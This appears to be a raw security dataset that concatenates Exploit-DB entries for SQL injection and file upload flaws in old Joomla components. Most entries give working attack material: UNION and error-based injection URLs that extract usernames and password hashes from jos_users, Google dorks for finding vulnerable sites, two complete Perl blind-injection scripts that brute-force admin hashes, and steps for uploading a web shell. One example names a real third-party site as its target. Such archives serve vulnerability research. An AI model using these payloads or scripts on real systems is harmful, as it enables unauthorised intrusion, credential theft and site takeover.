deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43358
Description: Joomla! Component My Projects 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Joomla! Component My Projects 2.0 - SQL Injection
# Dork: N/A
# Date: 18.12.2017
# Vendor Homepage: http://www.gegabyte.org/
# Software Link: https://extensions.joomla.org/extensions/extension/directory-a-documentation/portfolio/my-projects/
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/index.php/component/myproject/VerAyari[SQL]
#  
# 'and%20(select%201%20from%20(select%20count(*)%2cconcat((select(select%20concat(cast(database()%20as%20char)%2c0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200%2c1)%2cfloor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20AND%20''='
# 
# # # # #
Exploit-DB #5318
Description: Joomla! Component MyAlbum 1.0 - 'album' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-28
Author: parad0x

Exploit:
-------------------------------------------------------------------------------------------------
# Title   :  Joomla Component MyAlbum SQL Injection Vulnerability
# Author  :  parad0x
# D.Page  :  http://joomlacode.org/gf/project/myalbum/
-------------------------------------------------------------------------------------------------
http://[target]/index.php?option=com_myalbum&album=[SQL]

-------------------------------------------------------------------------------------------------
Example:

http://www.akparti.org.tr/disiliskiler/index.php?option=com_myalbum&album=-1+union+select+0,concat(username,char(32),password),2,3,4%20from%20jos_users/*

-------------------------------------------------------------------------------------------------
greetz : VoLqaN
-------------------------------------------------------------------------------------------------
http://inso.host.sk

side note:
  <name>myalbum</name>
  <creationDate>01.06.2007</creationDate>
  <author>HÃ¼seyin Bora ABACI</author>
  <copyright>GNU/GPL</copyright>
  <authorEmail>borkurt@hotmail.com</authorEmail>

  <authorUrl>www.joomla.org</authorUrl>
  <version>1.0</version>
  <description>MyAlbum is practical,comfortable,fast simple a picture gallery component.</description>

# milw0rm.com [2008-03-28]
Exploit-DB #5714
Description: Joomla! Component MyContent 1.1.13 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-06-01
Author: His0k4

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                \n";
  print "   #############################################################\n";
  print "   #   Joomla Component mycontent Blind SQL Injection Exploit  #\n";
  print "   #   Author:His0k4 [ALGERIAN HaCkeR]                         #\n";
  print "   #                                                           #\n";
  print "   #   Conctact: His0k4.hlm[at]gamil.com                       #\n";
  print "   #   Greetz:   All friends & muslims HacKeRs                 #\n";
  print "   #   Greetz2:  http://www.palcastle.org/cc :)                #\n";
  print "   #                                                           #\n";
  print "   #   Usage:   perl mycontent.pl host path <options>          #\n";
  print "   #   Example: perl mycontent.pl www.host.com /joomla/ -r 10  #\n";
  print "   #                                                           #\n";
  print "   #   Options:                                                #\n";
  print "   #     -r    Valid  id                                       #\n";
  print "   #   Note:                                                   #\n";
  print "   #   If the exploit failed                                   #\n";
  print "   #   Change 'regexp' value to the title of the page          #\n";
  print "   #############################################################\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $rid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "r=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"r"})
{
  $rid = $options{"r"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $rid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $rid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $rid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_mycontent&task=view&id=".$rid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=CHAR(".$h.")";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "E-mail";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-01]
Exploit-DB #7343
Description: Joomla! Component mydyngallery 1.4.2 - SQL Injection
Type: webapps
Platform: php
Date: 2008-12-04
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                      Joomla Component mydyngallery                          ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi       #
#####################################################################################
#                                                                                   #
#Download : http://mydyngallery.mon-cottenchy.fr                                    #
#                                                                                   #
#DORK : inurl:option=com_mydyngallery                                               #
#                                                                                   #
#####################################################################################
#                                       [Bug]                                       #
#                                                                                   #
#http://Site/[joomla_path]/index.php?option=com_mydyngallery&directory=zzz'+union+select+0,1,2,concat(0x3C703E,username,0x7c,password,0x3C2F703E),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+jos_users/*
#                                                                                   #
#####################################################################################
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################

# milw0rm.com [2008-12-04]
Exploit-DB #5990
Description: Joomla! Component mygallery - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-01
Author: Houssamix

Exploit:
               H-T Team { HouSSamix & ToXiC350 }
=====================================================================
     Joomla Component mygallery Remote SQL Injection Exploit
=====================================================================

## AUTHOR :  HouSSamix From H-T TeaM

## Script :  mygallery Joomla Component ( version unknown )

## DorKs :  inurl:index.php?option=com_mygallery "cid"
			
## EXPLOIT :

index.php?option=com_mygallery&func=viewcategory&cid=-1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12--

## Note : the number of columns can be diffrent .

## GREETZ  :  CoNaN & Islam security Team & Mr l3frite & Mounita20 and all musulmans hackers

# milw0rm.com [2008-07-01]
Exploit-DB #10214
Description: Joomla! Component mygallery - 'farbinform_krell' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-23
Author: Manas58 BAYBORA

Exploit:
## AUTHOR :  MANAS58  BAYBORA
## Script :  mygallery Joomla Component ( farbinform_krell)
## DorKs :  :(((
## EXPLOIT :

http://server/index.php?option=com_mygallery&func=viewcategory&cid=-1+union+all+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15+from+jos_users
  
OR:

http:///server/index.php?option=com_mygallery&func=viewcategory&cid=-1+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users


## WWW.1923TURK.BÝZ
## GREETZ  :  DELÝBEY TÝAMO
Exploit-DB #14313
Description: Joomla! Component MyHome - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-10
Author: Sid3^effects

Exploit:
Name :  Joomla com_myhome BSQLi Vulnerability
Date : july 10,2010
Critical Level 	: HIGH
vendor URL :http://www.unisoft.me/
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description 
MyHome is a component for Joomla 1.5, for publishing houses within web sites. The visitor can search for a vehicle by setting selection filters in the Vertical search module or Horizontal search module or by clicking on a specific module by viewing the list of Hot Houses, etc. The list of houses can be grouped by price, contract type or category. The house main image and information are shown within the list of houses. By clicking on the [DETAILS] button for each house, all the information and images related to it will be shown. N.B. An house may have an unlimited number of images. Unlimited fields can be set up for each house. In the component configuration panel it is possible to create or delete any of the fields required for managing your fleet of houses. It is also possible to add fields later. The fields which can be created may be TEXT type or CHECK type.
#######################################################################################################
Xploit: BSQLi Vulnerability

DEMO URL : http://server/path/index.php?option=com_myhome&task=4&nidimm=[BSQLi]
#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #41930
Description: Joomla! Component Myportfolio 3.0.2 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2017-04-24
Author: Persian Hack Team

Exploit:
# Exploit Title: Joomla Component Myportfolio 3.0.2 - SQL Injection
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba Kazemi (Mojtaba MobhaM)
# Home : https://extensions.joomla.org/extensions/extension/directory-a-documentation/portfolio/myportfolio/
# Home : http://persian-team.ir/
# Telegram Channel AND Demo: @PersianHackTeam
# Google Dork : inurl:index.php?option=com_myportfolio
# Tested on: Linux
# Date: 2017-04-24
 
# POC :
# pid Parameter Vulnerable to SQL Injection
# http://www.Target.com/index.php?task=project&view=grid&id=1&pid=[SQL]&format=raw&option=com_myportfolio&Itemid=125
 
# Greetz : T3NZOG4N & FireKernel & Milad Hacking And All Persian Hack Team Members
# Iranian White Hat Hackers
Exploit-DB #14315
Description: Joomla! Component MySMS - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-07-10
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :  Joomla com_mysms Upload Vulnerability
Date : july 10,2010
Critical Level 	: HIGH
vendor URL :http://www.willcodejoomlaforfood.de/
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description 
MySMS is standing for "Simple sms component" for Joomla. The MySMS component is now available for Joomla 1.0.x ( com_mysms-0.9.4.zip ) and for Joomla 1.5.x series ( use com_mysms-1.5.10.zip ).

This component supports following sms gateway provider today: w2sms, teleword, smskaufen, smscreator, sms77, sms4credits, mobilant, mesmo, clickatell, aspsms, nohnoh, mexado, innosend, suresms,compaya and hardwired, mobilenl, sloono, smsat and wannfind, agiletelecom, smsviainternet, infobip, at&t, smscom, coolsms, smsglobal, aruhat, massenversand, smstrade.
#######################################################################################################
Xploit: Upload Vulnerability

Step 1: Register first :D 

Step 2: Goto your profile "Mysms" option

Step 3: The attacker can upload shell in the "Import phonebook" option and it doesnt validate any file format so upload your shell 
DEMOU URL :http://server/?option=com_mysms&Itemid=0&task=phonebook

Step 4: your shell is uploaded and now you do ur job ;)

#######################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #6055
Description: Joomla! Component n-forms 1.01 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-07-12
Author: The Moorish

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
  print "                                                                  \n";
    print "   ################################################################\n";
  print "   #   Mambot Component n-forms Blind SQL Injection Exploit       #\n";
  print "   #   Author:The Moorish :D                                      #\n";
  print "   #   Greetz:Team-dz,His0k4,x.CJP.x,Kader11000,c02,piRAte DIgitAL#\n";
  print "   #   sites:www.h4cnc.com ,www.dz-secure.com                     #\n";
  print "   #   Dork:    inurl:com_n-forms                                 #\n";   
  print "   #   Usage:   perl forms.pl host path <options>                 #\n";
  print "   #   Example: perl forms.pl www.host.com /path/ -f 10           #\n";
  print "   #                                                              #\n";
  print "   #   Options:                                                   #\n";
  print "   #     -s   Valid form    id                                    #\n";
  print "   #   Note:                                                      #\n";
  print "   #   You can change the match string if you need that           #\n";
  print "   ################################################################\n";
  exit;
}
 
my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $fid     = $ARGV[2];
my %options = ();
GetOptions(\%options, "u=i", "p=s", "f=i");
print "[~] Exploiting...\n";
if($options{"u"})
{
  $userid = $options{"u"};
}
if($options{"f"})
{
  $fid = $options{"f"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $fid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $fid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}
print "\n[~] Exploiting done\n";
sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $fid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_n-forms&form_id=".$fid." and ascii(SUBSTRING((SELECT password FROM mos_users LIMIT 0,1 ),".$i.",1))=".$h."";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "nfields";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}

# milw0rm.com [2008-07-12]
Exploit-DB #5083
Description: Joomla! Component NeoGallery 1.1 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-08
Author: S@BUN

Exploit:
#########################################################################
#
#  joomla SQL Injection(com_neogallery)
#
#########################################################################
#
#  AUTHOR : S@BUN
#
#  HOME : http://www.milw0rm.com/author/1334
#
#  MAÄ°L :    www.milw0rm.com@gmail.com
#
#########################################################################
#
# DORK 1 : allinurl:"com_neogallery"
#
##########################################################################
EXPLOIT :

index.php?option=com_neogallery&task=show&Itemid=5&catid=999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from%2F%2A%2A%2Fjos_users

#########################################################################
# S@BUN                    i AM NOT HACKER                         S@BUN
#########################################################################
# S@BUN                  http://www.milw0rm.com                    S@BUN
#########################################################################
#                           THANKS STROKE
#########################################################################

	<name>NeoGallery</name>
	<creationDate>Septembre 2006</creationDate>
	<author>Nicolas Cornet - Neoweb</author>
	<copyright>This component is released under the GNU/GPL License</copyright>
	<authorEmail>nicolas@neoweb.fr</authorEmail>

	<authorUrl>www.neoweb.fr</authorUrl>
	<version>1.1</version>
	<description><![CDATA[Ce composant vous permet d'afficher une galerie de photos, organisees en categories, sur votre site.<br />Realise par Nicolas Cornet - Neoweb.]]></description>

# milw0rm.com [2008-02-08]
Exploit-DB #4305
Description: Joomla! Component NeoRecruit 1.4 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Joomla Component NeoRecruit <= 1.4 (id) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.neojoomla.com/
# $$      :  54,90 â‚¬
# Dork    :  inurl:index.php?option=com_NeoRecruit
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3A%22index.php%3Foption%3Dcom_ponygallery%22&btnG=Ara&meta=lr%3D

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?option=com_neorecruit&task=offer_view&id=[SQL Inject]

Example:

//index.php?option=com_neorecruit&task=offer_view&id=[PII_REDACTED]9%20union%20select%201,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),3,4,5,6,7,8,111,222,333,444,0,0,0,555,666,777,888,1,2,3,4,5,0%20from%20jos_users/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-08-23]
Exploit-DB #14570
Description: Joomla! Component NeoRecruit 1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-07
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
 Joomla Component com_neorecruit 1.4 (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: August, 07-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: NeoRecruit
Version		: 1.4 Lower versions may also be affected
Vendor  	: http://www.neojoomla.com/
Price		: 54,90 €
Google Dork	: inurl:com_neorecruit
----------------------------------------------------------------

Xploit:
~~~~~~~

-9999+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users--

Poc:
~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_neorecruit&task=offer_view&id=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]--------------------------------
Exploit-DB #14250
Description: Joomla! Component NeoRecruit 1.6.4 - 'Itemid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-07-06
Author: Sid3^effects

Exploit:
Name :  Joomla com_neorecruit BSqli Vulnerability
Date : july 6,2010
Critical Level 	: HIGH
vendor URL :http://www.neojoomla.com
Author : Sid3^effects aKa HaRi 
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description : 
NeoRecruit is a recruitment component. It enables you to propose job and internship offers. The offers are classified in various categories and are allotted to a recruiter to which you can give access to the management of his offers from the website.

NeoRecruit it is not simply a system which presents offers, it makes it possible to recover the CV and the covering letters of the applicants when apply to an offer. You thus create a true CV database, manageable from the backend or the frontend for recruiters.

You can thus manage these offers for your company or to propose it to your customers or members. They will be able to propose job offers and to manage the applications from their user account.
#######################################################################################################
Xploit :BSQli Vulnerability

DEMO URL :http://server/index.php?option=com_neorecruit&task=offer_view&id=155&Itemid=[Bsqli]

###############################################################################################################
# 0day no more 
# Sid3^effects